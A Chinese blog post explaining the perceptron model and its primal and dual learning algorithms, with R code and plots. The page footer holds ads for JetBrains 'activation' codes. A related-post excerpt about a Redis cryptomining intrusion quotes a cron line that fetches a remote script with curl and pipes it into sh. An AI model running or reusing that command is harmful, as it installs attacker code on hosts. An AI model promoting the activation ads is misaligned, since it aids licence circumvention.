感知机及其R实现

感知机及其R实现感知机1.感知机模型定义:假设输入空间(特征空间)是χ⊆Rn\chi\subseteqR^n,输出空间是Y={+1,−1}Y=\{+1,-1\}。输入x∈χx\in\chi表示实例的特征向量,对应于输入空间的点;输出y∈Yy\inY表示实例的类别。由输入空间到输出空间的如下函数f(x)=sign(w⋅x+b)f(x)=sign(w\cdotx+b)称为感知机。其中,ww和bb为感知

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

感知机

1. 感知机模型

定义:假设输入空间(特征空间)是 χ ⊆ R n \chi\subseteq R^n χRn,输出空间是 Y = { + 1 , − 1 } Y=\{+1,-1\} Y={
+1,1}
。输入 x ∈ χ x\in \chi xχ表示实例的特征向量,对应于输入空间的点;输出 y ∈ Y y\in Y yY表示实例的类别。由输入空间到输出空间的如下函数
f ( x ) = s i g n ( w ⋅ x + b ) f(x)=sign(w\cdot x+b) f(x)=sign(wx+b)
称为感知机。其中, w w w b b b为感知机模型参数, w ∈ R n w\in R^n wRn叫做权值, b ∈ R b\in R bR叫做偏置, w ⋅ x w\cdot x wx表示 w w w x x x的内积。 s i g n sign sign为符号函数。

2. 感知机学习策略

2.1数据集的线性可分性定义:

给定一个数据集
T = { ( x 1 , y 1 ) , ( x 2 , y 2 ) , ⋯   , ( x n , y n ) } , T = \{(x_1,y_1),(x_2,y_2),\cdots,(x_n,y_n)\}, T={
(x1,y1),(x2,y2),,(xn,yn)},

其中, x i ∈ χ = R n , y i ∈ Y = { + 1 , − 1 } , i = 1 , 2 , ⋯   , N , x_i\in\chi=R^n,y_i\in Y=\{+1,-1\},i=1,2,\cdots,N, xiχ=Rn,yiY={
+1,1},i=
1,2,,N,
如果存在某个超平面S
w ⋅ x + b = 0 w\cdot x+b=0 wx+b=0
能够将数据集的正实例点和负实例点完全正确地划分到超平面的两侧,即对所有的 y i = + 1 y_i=+1 yi=+1的实例 i i i,有 w ⋅ x i + b > 0 w\cdot x_i+b>0 wxi+b>0,对所有的 y i = − 1 y_i=-1 yi=1的实例 i i i,有 w ⋅ x i + b < 0 , w\cdot x_i+b<0, wxi+b<0,则成数据集 T T T为线性可分数据集;否则,成数据集 T T T为线性不可分。

2.2感知机学习策略的损失函数

感知机 s i g n ( w ⋅ x + b ) sign(w\cdot x+b) sign(wx+b)学习的损失函数定义为
L ( w , b ) = − ∑ x i ∈ M y i ( w ⋅ x i + b ) L(w,b)=-\sum_{x_i\in M}y_i(w\cdot x_i+b) L(w,b)=xiMyi(wxi+b)
其中, M M M为误分类点的集合。这个损失函数就是感知机学习的经验风险函数。损失函数 L ( w , b ) L(w,b) L(w,b) w w w, b b b的连续可导函数。

3. 感知机学习算法

3.1 算法(感知机学习算法的原始形式)

输入:训练数据集 T = { ( x 1 , y 1 ) , ( x 2 , y 2 ) , ⋯   , ( x N , y N ) } T=\{(x_1,y_1),(x_2,y_2),\cdots,(x_N,y_N)\} T={
(x1,y1),(x2,y2),,(xN,yN)}
,其中 x i ∈ χ = R n , y i ∈ Y = { + 1 , − 1 } , i = 1 , 2 , ⋯   , N x_i \in\chi=R^n,y_i\in Y=\{+1,-1\},i=1,2,\cdots,N xiχ=Rn,yiY={
+1,1},i=
1,2,,N
;学习率 η ( 0 < η ≤ 1 ) ; \eta(0<\eta\le1); η(0<η1);
输出: w , b w,b w,b;感知机模型 f ( x ) = s i g n ( w ⋅ x + b ) f(x)=sign(w\cdot x+b) f(x)=sign(wx+b).
(1)选取初值 w 0 , b 0 w_0,b_0 w0,b0
(2)在训练集中选取数据 ( x i , y i ) (x_i,y_i) (xi,yi)
(3)如果 y i ( w ⋅ x i + b ) ≤ 0 y_i(w\cdot x_i +b)\le 0 yi(wxi+b)0
w ← w + η y i x i b ← b + η y i w\leftarrow w +\eta y_ix_i\\ b\leftarrow b +\eta y_i ww+ηyixibb+ηyi
(4)转至(2),直至训练集中没有误分类点。

3.2 R语言实现(感知机学习算法的原始形式)

percept <- function(data = data,eta = eta ){
  x <- data[,-dim(data)[2]]
  y <- data[,dim(data)[2]]
  w <- c(0,0)
  b <- 0
  len <- length(y)
  i <- 1  
  while(i <= len){
    if(y[i] * (x[i,] %*% w + b) <= 0){
    ## update w and b
      w <- w + eta * y[i] * x[i,]
      b <- b + eta * y[i]
      i <- 1 ##important, for traversing every point
    }
    else{
      i <- i + 1 
    }
  }
  return(list(w=w,b=b))
}

data <- matrix(c(3,3,1,4,3,1,1,1,-1),nr=3,byrow=T)
percept(data = data,eta = 1)

最终结果为
$w
[1] 1 1

$b
[1] -3
再换一个数据:

dat <-matrix(c(1,1,-1,.5,.5,-1,4,1,1,3,2,1,1.5,1,-1,2,3,1,4,3,1,2,3.5,1),nc=3,byrow=T)
perceptron <- percept(data=dat,eta=1)
perceptron

最后结果为:
$w
[1] 4 0

$b
[1] -7
我们试着画出它的图形

dat1 <- dat[,1:2]
dat1 <- as.data.frame(dat1)
names(dat1) <- c("x1","x2")
plot(x2~x1,data=dat1,col=ifelse(4*x1-7<=0,"red","blue"),pch=17,bty="l")
abline(v=7/4,lwd=2,lty=2,col="red")

Perceptron
由此可以看出还是不错的,都已经正确划分。

3.3算法(感知机学习算法的对偶形式)

输入:线性可分的数据集 T = { ( x 1 , y 1 ) , ( x 2 , y 2 ) , ⋯   , ( x N , y N ) } , T=\{(x_1,y_1),(x_2,y_2),\cdots,(x_N,y_N)\}, T={
(x1,y1),(x2,y2),,(xN,yN)},
其中 x i ∈ R n , y i ∈ { + 1 , − 1 } , i = 1 , 2 , ⋯   , N ; x_i\in R^n,y_i \in \{+1,-1\},i=1,2,\cdots,N; xiRn,yi{
+1,1},i=
1,2,,N;
学习率 η ( 0 < η ≤ 1 ) ; \eta(0<\eta\le1); η(0<η1);
输出: α , b ; \alpha,b; α,b;感知机模型 f ( x ) = s i g n ( ∑ j = 1 N α j y j x j ⋅ x + b ) . f(x)=sign(\sum_{j=1}^N\alpha_jy_jx_j\cdot x+b). f(x)=sign(j=1Nαjyjxjx+b).
其中 α = ( α 1 , α 2 , ⋯   , α N ) T . \alpha=(\alpha_1,\alpha_2,\cdots,\alpha_N)^T. α=(α1,α2,,αN)T.
(1) α ← 0 , b ← 0 \alpha\leftarrow 0,b\leftarrow0 α0,b0
(2)在训练集中选取数据 ( x i , y i ) (x_i,y_i) (xi,yi)
(3)如果 y i ( ∑ j = 1 N α j y j x j ⋅ x i + b ) ≤ 0 y_i(\sum_{j=1}^N\alpha_jy_jx_j\cdot x_i +b)\le0 yi(j=1Nαjyjxjxi+b)0
α i ← α i + η b ← b + η y i \alpha_i\leftarrow \alpha_i +\eta\\ b\leftarrow b+\eta y_i αiαi+ηbb+ηyi
(4)转至(2)直到没有误分类数据。
对偶形式训练实例仅以内积的形式实现,为了方便,可以预先将训练集中的实例间的内积计算出来并以矩阵形式存储,这个矩阵就是所谓的Gram矩阵
G = [ x i ⋅ x j ] N × N G=[x_i\cdot x_j]_{N\times N} G=[xixj]N×N

3.4 R语言实现(感知机学习算法的对偶形式)

后续补充

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/179091.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • ecshop彻底去版权把信息修改成自己的全教程

    ecshop彻底去版权把信息修改成自己的全教程前台部分:一、去掉头部title部分的ECSHOP演示站-Poweredbyecshop1、问题:“ECSHOP演示站”方法:在后台商店设置–商店标题修改2、问题:“Poweredby

  • adb工具+使用adb安装apk「建议收藏」

    adb工具+使用adb安装apk「建议收藏」adb链接:https://pan.baidu.com/s/1pdpIc9oXaqvN4lSrVLR_VA提取码:kxhc使用方法:1.解压压缩包。2.将解压后的文件夹放到合适的目录(我放到了C盘根目录)3.打开windows命令窗口,设置到adb工具目录(cdC:\adb)4.使用adb命令查看链接到的计算机的android设备(adbdevices)5.使用…

  • 惊!我的 Redis 被挖矿脚本注入了

    惊!我的 Redis 被挖矿脚本注入了发现周五在个人服务器上新部署了redis做测试加了个几个key,过了个快乐周末,周一回来一看原key都没了,估计是用了flushall,而且多了这四个key。 k v backup1 */2****rootcd1-fsSLhttp://194.87.139.103/cleanfda/init.sh|sh backup2 */3****rootwget-q-

  • 机器学习总结(一):线性回归、岭回归、Lasso回归

    机器学习总结(一):线性回归、岭回归、Lasso回归线性回归作为一种回归分析技术,其分析的因变量属于连续型变量,如果因变量转变为离散型变量,将转换为分类问题。回归分析属于有监督学习问题,本博客将重点回顾标准线性回归知识点,并就线性回归中可能出现的问题进行简单探讨,引出线性回归的两个变种岭回归以及Lasso回归,最后通过sklearn库模拟整个回归过程。目录结构线性回归的一般形式线性回归中可能遇到的问题过拟合问题及其解决方法线性回归代码实现

  • contenteditable ie兼容

    contenteditable ie兼容

  • linux添加防火墙_centos防火墙设置与端口开放的方法

    linux添加防火墙_centos防火墙设置与端口开放的方法一、介绍当设置ip过滤的时候,如果ip较多,经常修改,修改防火墙规则比较麻烦,可以使用ipset,ipset是一个集合,防火墙可以添加集合,只需要一条防火墙规则就可以实现整个集合里面ip的过滤iptables-IINPUT-mset–match-setbanipsrc-ptcp–destination-port80-jDROPTYPENAME:=method:datatype[,datatype[,datatype]]可以使用的method:bitmap,ha

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号